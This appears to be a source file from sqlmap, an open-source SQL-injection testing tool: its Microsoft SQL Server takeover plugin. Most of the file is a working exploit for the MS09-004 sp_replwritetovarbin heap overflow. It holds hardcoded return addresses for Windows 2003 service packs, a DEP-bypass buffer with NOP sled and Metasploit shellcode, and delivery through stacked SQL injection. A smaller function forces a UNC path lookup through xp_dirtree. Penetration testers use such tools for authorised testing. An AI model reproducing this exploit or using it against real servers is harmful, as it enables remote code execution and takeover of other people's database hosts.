mirror of
https://github.com/sqlmapproject/sqlmap.git
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165 lines
7.0 KiB
Python
165 lines
7.0 KiB
Python
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#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import binascii
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from lib.core.convert import urlencode
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.exception import sqlmapUnsupportedFeatureException
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from lib.request import inject
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from plugins.generic.takeover import Takeover as GenericTakeover
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class Takeover(GenericTakeover):
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def __init__(self):
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self.spExploit = ""
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GenericTakeover.__init__(self)
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def uncPathRequest(self):
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#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
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inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
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def spHeapOverflow(self):
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"""
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References:
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* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
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* http://support.microsoft.com/kb/959420
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"""
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returns = {
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# 2003 Service Pack 0
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"2003-0": (""),
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# 2003 Service Pack 1
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"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
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# 2003 Service Pack 2 updated at 12/2008
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#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
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# 2003 Service Pack 2 updated at 05/2009
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"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)")
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# 2003 Service Pack 2 updated at 09/2009
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#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
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}
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addrs = None
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for versionSp, data in returns.items():
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version, sp = versionSp.split("-")
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sp = int(sp)
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if kb.osVersion == version and kb.osSP == sp:
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addrs = data
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break
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if addrs is None:
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errMsg = "sqlmap can not exploit the stored procedure buffer "
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errMsg += "overflow because it does not have a valid return "
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errMsg += "code for the underlying operating system (Windows "
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errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
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raise sqlmapUnsupportedFeatureException(errMsg)
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shellcodeChar = ""
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hexStr = binascii.hexlify(self.shellcodeString[:-1])
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for hexPair in range(0, len(hexStr), 2):
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shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
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shellcodeChar = shellcodeChar[:-1]
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self.spExploit = """
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DECLARE @buf NVARCHAR(4000),
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@val NVARCHAR(4),
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@counter INT
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SET @buf = '
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DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
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EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
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SET @val = CHAR(0x41)
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SET @counter = 0
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WHILE @counter < 3320
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BEGIN
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SET @counter = @counter + 1
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IF @counter = 411
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BEGIN
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/* pointer to call [ecx+8] */
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SET @buf = @buf + %s
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/* push ebp, pop esp, ret 4 */
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SET @buf = @buf + %s
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/* push ecx, pop esp, pop ebp, retn 8 */
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SET @buf = @buf + %s
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/* Garbage */
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SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
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/* retn 1c */
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SET @buf = @buf + %s
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/* retn 1c */
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SET @buf = @buf + %s
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/* anti DEP */
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SET @buf = @buf + %s
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/* jmp esp */
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SET @buf = @buf + %s
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/* jmp esp */
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SET @buf = @buf + %s
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
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set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
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set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
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/* Metasploit shellcode */
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SET @buf = @buf + %s
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SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
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SET @counter = @counter + 302
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SET @val = CHAR(0x43)
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CONTINUE
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END
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SET @buf = @buf + @val
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END
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SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
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EXEC master..sp_executesql @buf
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""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
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self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
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self.spExploit = urlencode(self.spExploit, convall=True)
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logger.info("triggering the buffer overflow vulnerability, wait..")
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inject.goStacked(self.spExploit, silent=True)
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